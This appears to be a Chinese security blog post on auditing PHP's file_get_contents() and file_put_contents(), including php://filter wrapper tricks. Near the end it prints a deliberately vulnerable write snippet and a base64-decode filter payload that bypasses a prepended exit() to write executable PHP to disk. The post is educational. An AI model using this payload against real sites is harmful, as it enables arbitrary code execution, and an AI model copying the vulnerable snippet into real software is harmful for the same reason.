php代码审计-file_get_contents()&file_put_contents()

file_get_contents()

https://www.php.net/function.file-get-contents

只需要了解filename即可

  • filename可以是简单的一个文件path,相对路径或者绝对路径
<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

很显然它的返回值是读取文件的内容

  • filename也可以是一个url

如:

  • filename也可以是一个伪协议形式的:

如:

echo file_get_contents('php://input');

或者

echo file_get_contents('php://filter/read=convert.base64-encode/resource=test.txt');

file_put_contents()

直接看使用实例:

  1. 直接向文件写入内容(filename为文件路径)
<?php
$file = 'people.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "John Smith\n";
// Write the contents back to the file
file_put_contents($file, $current);
?>
  1. 和file_get_contents()类似的,file_put_contents()的filename参数也可以用PHP伪协议来修饰,以控制写入文件内容的格式等

eg1:

file_put_contents('php://filter/write=convert.base64-encode/resource=tmp.php',"123456");

然后tmp.php里面

其中 MTIzNDU2=base64_encode("123456")

eg2:

<?php 
	file_put_contents('php://filter/write=convert.base64-decode/resource=tmp.php',"MTIzNDU2");
?>

绕过死亡exit()

如下代码:

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了
这里就可以利用file_put_contents()filename参数可以用伪协议过滤的特性:

比如可以传入参数:

filename=php://filter/write=convert.base64-decode/resource=tmp.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
//PD9waHAgcGhwaW5mbygpOyA/Pg== 是<?php phpinfo(); ?>的base64

访问tmp.php

原理可以参考 https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这篇文章里面还有一些别的姿势也可以参考

posted @ 2020-10-26 11:45  10nnn4R  阅读(678)  评论(0编辑  收藏  举报